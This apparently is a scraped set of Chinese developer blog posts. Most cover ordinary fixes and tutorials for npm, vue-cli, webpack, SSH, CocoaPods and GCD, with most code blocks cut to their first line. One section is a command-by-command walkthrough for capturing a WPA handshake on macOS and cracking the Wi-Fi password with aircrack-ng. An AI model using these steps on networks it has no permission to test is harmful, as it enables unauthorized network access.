npm install安装报错，报错信息如下:
1 | Hu-YupingdeMacBook-Pro:server kris$ npm install |
打开项目的package.json，删除bcrypt的依赖项。
删除前的package.json的依赖项如下：
1 | "dependencies": { |
删除后的package.json的依赖项如下:
1 | "dependencies": { |
然后执行命令npm i bcrypt ，执行完命令，package.json的依赖项如下：
1 | "dependencies": { |
1.执行命令创建项目。
1 | vue init webpack-simple demo4 |
2.回答vue-cli的问题。
1 | ? Project name demo4 |
3.vue-cli会创建文件夹，并打印提示命令。
1 | vue-cli · Generated "demo4". |
其中第一条命令的可以提供不同的模版。命令全称如下:
1 | vue init <template-name> <project-name> |
具体解释如下:
1 | init：表示我要用vue-cli来初始化项目 |
创建完项目，执行npm run dev，控制台会打印消息，可以预览当前的自动生成的页面。
1 | Hu-YupingdeMacBook-Pro:demo4 kris$ npm run dev |
浏览器中的预览页面如下:
使用ssh命令远程连接主机出现问题，问题描述如下:
1 | Hu-YupingdeMacBook-Pro:~ kris$ ssh root@192.3.249.179 |
解决办法:
1.编辑配置文件。
1 | $ vim ~/.ssh/known_hosts |
2.删除对应的host key。
3.再次使用ssh命令连接远程主机，发现可以正常连接。
Mac和Linux远程连接服务器异常修复（WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!）
使用命令npm run build进行生产构建时，报错Error: webpack.optimize.UglifyJsPlugin has been removed, please use config.optimization.minimize instead.，详细的错误信息如下:
1 | ^CHu-YupingdeMacBook-Pro:demo2 kris$ npm run build |
查资料发现webpack4已经不支持在plugins里面操作UglifyJsPlugin，需要将UglifyJsPlugin放到optimization里面进行配置。打开webpack.config.js文件，发现老的配置如下：
1 | var path = require('path') |
修改完的webpack.config.js文件内容如下:
1 | var path = require('path') |
改动之处有2处，第一处，把UglifyJsPlugin放到上面的exports的optimization中；第二处，在文件开头之处导入UglifyJsPlugin。
改完之后执行npm run dev，效果如下:
1 | Hu-YupingdeMacBook-Pro:demo2 kris$ npm run dev |
改完之后执行npm run build，效果如下：
1 | ^CHu-YupingdeMacBook-Pro:demo2 kris$ npm run build |
今天执行npm run dev时出现报错，提示Error: Cannot find module 'webpack/bin/config-yargs'，查资料发现问题出在，webpack、webpack-cli、webpack-dev-server的版本不匹配。
打开项目根目录下的package.json 文件，发现我的项目里面的配置信息为：
1 | "webpack": "^4.42.0", |
然后我修改了package.json文件，修改webpack-dev-sever的版本为3.1.4，然后在项目根目录执行npm install命令。此命令执行完毕后再执行npm run dev发现可以正常运行。
最终package.json文件的配置如下:
1 | "devDependencies": { |
1.安装airport
1 | $ sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport |
2.扫描周围的Wifi
1 | $ sudo airport -s |
3.嗅探指定的信道
1 | $ sudo airport en0 sniff $CHANNEL |
如果出现错误，Segmentation fault: 11，可以使用 tcpdump 抓包
4.1 断开airport的连接
1 | $ sudo airport -z |
4.2 设置信道，-c和信道号之间没有空格
1 | # 示例：sudo airport -c6 |
4.3 从指定AP开始抓包
1 | # 示例：sudo tcpdump "type mgt subtype beacon and ether src 98:13:33:b4:35:a4" -I -c 1 -i en0 -w beacon.cap |
4.4 等待WPA的握手
1 | # 示例：sudo tcpdump "ether proto 0x888e and ether host 98:13:33:b4:35:a4" -I -U -vvv -i en0 -w handshake.cap |
4.5 安装wireshark，下一步会用到它的合包命令
1 | $ brew install wireshark |
4.6 将2个cap文件合并成一个cap文件
1 | $ mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap |
至少要等到4.4获取到4 frames或更多的包才可以Ctrl-C终止抓包。
4.7 安装 aircrack-ng
1 | $ brew install aircrack-ng |
4.8 将 aircrack-ng 路径添加到 /etc/paths 中。
1 | $ sudo vim /etc/paths |
然后将 aircrack-ng 路径添加到最后一行。
4.9 查看抓到的包中是否包含握手包。
1 | #$ aircrack-ng capture.cap |
撞击密码
1 | $ aircrack-ng -w alphaDic.txt -b 98:13:33:B4:35:A4 capture1.cap |
转换包格式,如果使用上面的cap无法爆破，或者爆破比较麻烦，可以将cap包转换成hcccapx格式，然后再破解。
1 | $ ./cap2hccapx.bin /Users/kris/Desktop/wifi/20200208/capture.cap /Users/kris/Desktop/wifi/20200208/capture.hccapx |
下面是一个破解示例：
1 | Aircrack-ng 1.5.2 |
执行npm install -g @vue/cli安装报错，错误信息如下:
1 | Hu-YupingdeMacBook-Pro:~ kris$ npm install -g @vue/cli |
解决办法，切换网络，清除npm缓存，执行命令:npm cache clean --force
在gitlab上新建一个空的仓库。
创建项目时选Framework。
将项目的目录新建到Git的文件夹中。
创建Example工程。
填写Example工程名。
选择工程的目录。将工程根目录创建到SDK工程根目录下。
最终的项目目录结构如图。
执行pod init命令，在工程目录中创建Podfile文件。
编辑Podfile文件，将example和sdk工程的target添加到Podfile中。注意example工程的target路径。
执行Pod install命令，让Pod自动生成workspace文件。
选择workspance文件，打开工程。
打开工程后，目录结构如下图。
将SDK工程目录下的源代码目录Sources和资源文件目录Resources添加到SDK工程中。
编辑Podfile文件，将依赖项放到target外部。
1 | $ pod spec create "组件名" |
命令行创建podspec文件。
将podspec文件添加到工程中。
编辑podspec文件。
将项目中生成的Framework库文件添加到Exmaple工程中。
选择PHUpdateSDK的Target，编译测试SDK是否可以正常编译通过。选择PHUpdateSDKExample的Target运行测试代码，查看SDK功能是否正常工作。
将SDK中需要暴露出来的.h文件都添加到PHUpdateSDK.h中。
将SDK中的头文件从项目中移动到Public Group中。
在Example工程中导入SDK中的类，测试SDK中的类是否可以正常工作。
在Example工程中测试SDK代码是否正常工作
新建本地测试工程，在本地测试工程的Podfile文件中导入SDK工程。
查看本地工程Podfile如何配置。
由于之前的SDK目录比较深，导致pod update的时候无法更新。所以将之前的SDK中的文件全部拷贝到git仓库的根目录下。还有LICENSE文件最好放一个，因为有可能因为这个导致最终的项目更新失败。最终目录结构如下图。
Grand Central Dispatch（GCD）是异步执行任务的技术之一。一般将应用程序中记述的线程管理用的代码在系统级中实现。开发者只需要定义想要执行的任务并追加到适当的 Dispatch Queue 中，GCD 就能生成必要的线程并计划执行任务。由于线程管理是作为系统的一部分来实现的，因此可统一管理，也可执行任务，这样就比以前的线程更有效率。
在导入GCD之前，Cocoa 框架提供了 NSObject 类的 performSelectorInBackground:withObject 实例方法和 performSelectorOnMainThread 实例方法等简单的多线程编程技术。
在3秒后将指定的 Block 追加到 Main Dispatch Queue 中的源代码如下：
1 | NSLog(@"begin..."); |
第一个参数是指定时间用的 dispatch_time_t 类型的值。该值使用 dispatch_time 函数或 dispatch_walltime 函数生成。
dispatch_time 函数能够获取从第一个参数 dispatch_time_t 类型值中指定的时间开始，到第二个参数指定的毫微秒单位时间后的时间。第一个参数经常使用的值是之前源代码中出现的DISPATCH_TIME_NOW。这表示现在的时间。即以下源代码可得到表示从现在开始1秒后的 dispatch_time_t 类型的值。
1 | dispatch_time_t time = dispatch_time(DISPATCH_TIME_NOW, 1ull * NSEC_PER_SEC); |
数值和 NSEC_PER_SEC 的乘积得到单位为毫微秒的数值。“ull”是C语言的数值字面量，是显示表明类型时使用的字符串（表示“unsigned long long”）。如果使用 NSEC_PER_MSEC 则可以以毫秒为单位计算。以下源代码获取表示从现在开始150毫秒后时间的值。TI
1 | dispatch_time_t time = dispatch_time(DISPATCH_TIME_NOW, 150ull * NSEC_PER_MSEC); |
dispatch_walltime 函数由 POSIX 中使用的 struct timespec 类型的时间得到 dispatch_time_t 类型的值。dispatch_time 函数通常用于计算时间，而 dispatch_walltime 函数用于计算绝对时间。例如在 dispatch_after 函数中想指定 2020年01月01日01时01分01秒这一绝对时间的情况，这可以作为粗略的闹钟功能使用。
struct timespec 类型的时间可以很轻松的通过 NSDate 类对象生成。
1 | dispatch_time_t getDispatchTimeByDate(NSDate *date) { |
上面的源代码可由 NSDate 类对象获取能传递给 dispatch_after 函数的 dispatch_time_t 类型的值。
在追加到 Dispatch Queue 中的多个处理全部结束后想执行结束处理，这种情况会经常出现。
例如下面代码：追加3个 Block 到 Global Dispatch Queue，这些 Block 如果全部执行完毕，就会执行 Main Dispatch Queue 中结束处理用的 Block。
1 | - (void)testDispatchGroupNotify { |
无论向什么样的 Dispatch Queue 中追加处理，使用 Dispatch Queue 都可以监视这些处理执行的结束。一旦检测到所有的处理执行结束，就可以将结束的处理追加到 Dispatch Queue 中。这就是使用
Dispatch Group 的原因。
在Dispatch Group中也可以使用 dispatch_group_wait 函数仅等待全部处理执行结束。
1 | - (void)testDispatchGroupWait1 { |
dispatch_group_wait 函数的第二个参数指定为等待时间（超时）。它属于 dispatch_time_t 类型的值。该源代码使用 DISPATCH_DISPATCH_TIME_FOREVER，意味着永久等待。只要属于Dispatch Group 的处理尚未结束，就会一直等待，中途不能取消。
如同 dispatch_after 函数说明的那样，指定等待间隔为1秒时应做如下处理。
1 | - (void)testDispatchGroupWait2 { |
如果 dispatch_group_wait 函数的返回值不为0，就意味着虽然经过了指定的时间，但属于 Dispatch Group 的某一个处理还在执行中。如果返回值为0，那么全部处理执行结束。当等待时间为 DISPATCH_TIME_FOREVER，由 dispatch_group_wait 函数返回时，由于属于 Dispatch Group 的处理必定全部执行结束，因此返回值恒为0。
这里的“等待”是什么意思呢？这意味着一旦调用 dispatch_group_wait 函数，该函数就处于调用的状态而不返回。即执行 dispatch_group_wait 函数的所在的线程停止。在经过 dispatch_group_wait 函数中指定的时间或属于指定 Dispatch Group 的处理全部执行结束之前，执行该函数的线程停止。
如果像下面这样简单地在 dispatch_async 函数中加入写入处理，那么根据 Concurrent Dispatch Queue 的性质，就有可能在写入处理前面的读取处理中读取到与期待不符的数据，还可能因非法访问导致应用程序异常结束。如果追加多个写入处理，则可能发生更多的问题，比如数据竞争等。
1 | - (void)testReadAndWrite { |
程序运行的结果如下：
1 | 2020-02-01 10:33:21.908239+0800 GCD_Demo[1852:30606] blk0_for_reading |
因此我们要使用 dispatch_barrier_async 函数。dispatch_barrier_async 函数会等待追加到 Concurrent Dispatch Queue 上的并行执行的处理全部结束之后，再将指定的处理追加到该 Concurrent Dispatch Queue 中。然后在由 dispatch_barrier_async 函数追加的处理执行完毕后，Concurrent Dispatch Queue 才恢复为一般的动作，追加到该 Concurrent Dispatch Queue 的处理又开始并行执行。
使用 dispatch_barrier_async 的代码示例如下:
1 | - (void)testReadAndWrite2 { |
程序运行的结果如下:
1 | 2020-02-01 10:52:59.739217+0800 GCD_Demo[2063:43192] blk0_for_reading |
使用 Concurrent Dispatch Queue 和 dispatch_barrier_async 函数可实现高效率的数据库访问和文件访问。
dispatch_barrier_async 函数的处理流程图：
dispatch_async 函数，就是将指定的Block“非同步”地追加到指定的 Dispatch Queue 中，dispatch_async 函数不做任何等待。
dispatch_sync 函数，就是将指定的Block“同步”地追加到指定的 Dispatch Queue 中。在追加的Block结束之前，dispatch_sync 函数会一直等待。如 dispatch_group_wait 函数一样，“等待”意味着当前线程停止。
我们先假设这样一种情况，执行 Main Dispatch Queue 时，使用另外的线程 Global Dispatch Queue 进行处理，处理结束后立即使用所得到的结果。在这种情况下就要使用 dispatch_sync 函数。
1 | dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0); |
一旦调用 dispatch_sync 函数，那么在指定的处理执行结束之前，该函数不会返回。dispatch_sync 函数可简化源代码，也可说是简易版的 dispatch_group_wait 函数。正因为 dispatch_sync 函数使用简单，所以也容易引起问题，即死锁。
例如如果在主线程中执行以下源代码就会死锁。
1 | - (void)testDispatchSync1 { |
该源代码在 Main Dispatch Queue 即主线程中执行指定的Block，并等待其执行结束。而其实在主线程中正在执行这些源代码，所以无法执行追加到 Main Dispatch Queue 的Block。下面的例子也一样。
1 | - (void)testDispatchSync2 { |
Main Dispatch Queue 中执行的Block等待 Main Dispatch Queue 中要执行的Block 执行结束。这样的死锁就像在画像上画画一样。
当然 Serial Dispatch Queue 也会引起相同的问题。
1 | - (void)testDispatchSync3 { |
由 dispatch_barrier_async 函数中含有 async 可推测出，相应的也有 dispatch_barrier_sync 函数。dispatch_barrier_async 函数的作用是在等待追加的处理全部执行结束后，再追加处理到 Dispatch Queue 中，此外，它还与 dispatch_sync 函数相同，会等待追加处理的执行结束。
dispatch_apply 函数是 dispatch_sync 函数和 Dispatch Group 的关联 API。该函数按指定的次数将指定的Block追加到指定的 Dispatch Queue中，并等待全部处理执行结束。
1 | - (void)testDispatchApply1 { |
程序的输出结果:
1 | 2020-02-01 12:40:31.343067+0800 GCD_Demo[3361:105895] blk 1 |
因为在 Global Dispatch Queue 中执行处理，所以各个处理的执行时间不定。但是输出结果中最后的 done 必定在最后的位置上。这是因为 dispatch_apply 函数会等待全部处理执行结束。
第一个参数为重复次数，第二个参数为追加对象的 Dispatch Queue，第三个参数为追加的处理。与到目前为止所出现的例子不同，第三个参数的Block为带有参数的Block。这是为了按第一个参数重复追加Block并区分各个Block而使用。例如要对 NSArray 类对象的所有元素执行处理时，不必一个一个编写 for 循环部分。
另外，由于 dispatch_apply 函数也与 dispatch_sync 函数相同，会等待处理执行结束，因此推荐在 dispatch_async 函数中非同步地执行 dispatch_apply 函数。
1 | - (void)testDispatchApply2 { |
程序执行结果:
1 | 2020-02-01 13:17:57.785290+0800 GCD_Demo[3821:122905] 4: obj5 |
当追加大量处理到 Dispatch Queue 时，在追加处理的过程中，有时希望不执行已追加的处理。例如演算结果被Block截获时，一些处理会对这个演算结果造成影响。在这种情况下，只要挂起 Dispatch Queue 即可。当可以执行时再恢复。
dispatch_suspend 函数挂起指定的 Dispatch Queue。
1 | dispatch_suspend(queue); |
Dispatch_resume 函数恢复指定的 Dispatch Queue。
1 | dispatch_resume(queue); |
这些函数对已经执行的处理没有影响。挂起后，追加到 Dispatch Queue 中但尚未执行的处理在此之后停止执行。而恢复则使得这些处理能够继续执行。
如前所述，当并行执行的处理更新数据时，会产生数据不一致的情况，有时应用程序还会异常结束。虽然使用 Serial Dispatch Queue 和 dispatch_barrier_async 函数可避免这类问题，但有必要进行更细粒度的排他控制。
1 | - (void)testDispatchSemaphore1 { |
因为该源代码使用 Global Dispatch Queue 更新 NSMutableArray 类对象，所以执行后由内存错误导致应用程序异常结束的概率很高。此时应使用 Dispatch Semephore。
Dispatch Semaphore 是持有计数的信号，该计数是多线程编程中的计数类型信号。所谓信号，类似于过马路时常用的手旗。可以通过时举起手旗，不可通过时放下手旗。而在Dispatch Semaphore中，使用计数来实现该功能。计数为0时等待，计数为1或大于1时，减去1而不等待。
1 | dispatch_semaphore_t semaphore = dispatch_semaphore_create(1); |
参数表示计数的初始值。本例将计数值初始化为“1”。
1 | dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER); |
dispatch_semaphore_wait 函数等待 Dispatch Semaphore 的计数值达到大于或等于 1。当计数值大于等于1，或者在待机中计数值大于等于1时，对该计数进行减法并从 dispatch_semaphore_wait 函数返回。第二个参数与 dispatch_group_wait 函数等相同，由 dispatch_time_t 类型值指定等待时间。该例的参数意味着永久等待。另外，dispatch_semaphore_wait 函数的返回值也与 dispatch_group_wait 函数相同。可像以下源代码这样通过返回值进行分支处理。
1 | dispatch_time_t time = dispatch_time(DISPATCH_TIME_NOW, 1ull * NSEC_PER_SEC); |
dispatch_semaphore_wait 函数返回0时，可安全地执行需要进行排他控制的处理。该处理结束时通过 dispatch_semaphore_signal 函数将 Dispatch Semaphore 的计数值加1。
1 | - (void)testDispatchSemaphore2 { |
dispatch_once 函数是保证在应用程序中只执行一次指定处理的API。如果使用 dispatch_once 函数，源代码为：
1 | - (void)testDispatchOnce { |
通过 dispatch_once 函数，该源代码即使在多线程环境下执行，也可保证百分之百安全。在生成单例对象时使用。
Dispatch I/O 和 Dispatch Data，可以做到一次使用多个线程更快地并列读取。dispatch_io_create 函数生成 Dispatch I/O，并指定发生错误时用来执行处理的Block，以及执行该Block的 Dispatch Queue。如果想提高文件读取速度，可以尝试使用 Dispatch I/O。
GCD中除了主要的 Dispatch Queue 外，还有不太引人注目的 Dispatch Source。下面展示一个使用 DISPATCH_SOURCE_TYPE_TIMER 的定时器的例子。在网络编程的通信超时等情况下可使用该例。
1 | - (void) testDispatchSource { |
上面的代码在15秒之后会执行“wakeup!”打印，打印完就取消当前的定时器。实际上 Dispatch Queue 没有“取消”这一概念。一旦将处理追加到 Dispatch Queue 中，就没有方法将该处理去除，也没有方法可在执行中取消处理。编程人员要么在处理中导入取消这一概念，要么放弃取消，或者使用 NSOperationQueue 等其他方法。
Dispatch Source 与 Dispatch Queue 不同，是可以取消的。而且取消时必须执行的处理可以指定为回调的Block形式。
1 | - (void)testDownloadImg { |
为了不妨碍主线程的运行，在另外的线程中解析下载的数据。实现数据解析的就是通过 dispatch_get_global_queue 函数得到的一般优先级的 Global Dispatch Queue 和在 Global Dispatch Queue 中执行解析处理的 dispatch_async 函数。解析处理后为了反映到用户界面，需要在主线程中进行用户界面的更新。通过 dispatch_get_main_queue 函数得到的 Main Dispatch Queue 和在 Main Dispatch Queue 中使该处理执行的 dispatch_async 函数实现了此处理。
那么为了不妨碍主线程的运行，网络下载处理也是使用GCD的线程更好吗？答案是否定的。网络编程强烈推荐使用异步 API。如果在网络编程中使用线程，就很可能会产生大量使用线程的倾向，会引发很多问题。例如每个连接都使用线程，很快就会用尽线程栈内存等。因为Cocoa框架提供了用于异步网络通信的API，所以在网络编程中不可使用线程。务必使用用于异步网络通信的API。
《iOS与OS X多线程和内存管理》
查看NSAutoreleasePool 中 autorelease对象的状况，可以使用运行时系统中的函数(lldb)po _objc_autoreleasePoolPrint();。
测试的源代码如下:
执行断点1处的代码，日志如下：
1 | 2020-01-27 19:22:37.241288+0800 NSAutoReleasePool测试[7028:191376] 执行断点1处的代码。 |
执行断点2处的代码，日志如下:
1 | 2020-01-27 19:24:29.654753+0800 NSAutoReleasePool测试[7028:191376] 执行断点2处的代码。 |
执行断点3处的代码，日志如下:
1 | 2020-01-27 19:27:07.529438+0800 NSAutoReleasePool测试[7028:191376] 执行断点3处的代码。 |
执行断点4处的代码，日志如下：
1 | 2020-01-27 19:28:45.777438+0800 NSAutoReleasePool测试[7028:191376] 执行断点4处的代码。 |
由以上日志可见，断点1处时objc[7028]: 86 releases pending.，有86个autorelease对象等待释放；然后新建一个autoreleasepool，到断点2处时objc[7028]: 87 releases pending.，有87个autorelease对象等待释放；然后创建一个NSArray对象并注册到autoreleasepool，到断点3处时objc[7028]: 88 releases pending.，有88个对象等待释放；最后出autoreleasepool的范围，新建的NSArray对象和autoreleasepool对象都被释放了，又恢复到最初时候objc[7028]: 86 releases pending.，仍然只有86个对象等待释放。整个的过程可以判断出autoreleasepool的内存管理方式。注意在autoreleasepool中包裹的部分，只有通过类方法，并且不是 alloc/init/copy/mutableCopy 获取到的对象才会注册到当前的autoreleasepool中，才可以使用以上方式查找内存的详细情况。
如果autorelease NSAutoreleasePool对象会如何?
1 | NSAutoreleasePool *pool = [[NSAutoreleasePool alloc] init]; |
回答：发生异常，通常在使用Objective-C，也就是Foundation框架时，无论调用哪一个对象的 autorelease 实例方法，实现上调用的都是 NSObject 类的 autorelease 实例方法。但是对于 NSAutoreleasePool类，autorelease 实例方法已被该类重载，因此运行时就会报错。
《iOS与OS X多线程和内存管理》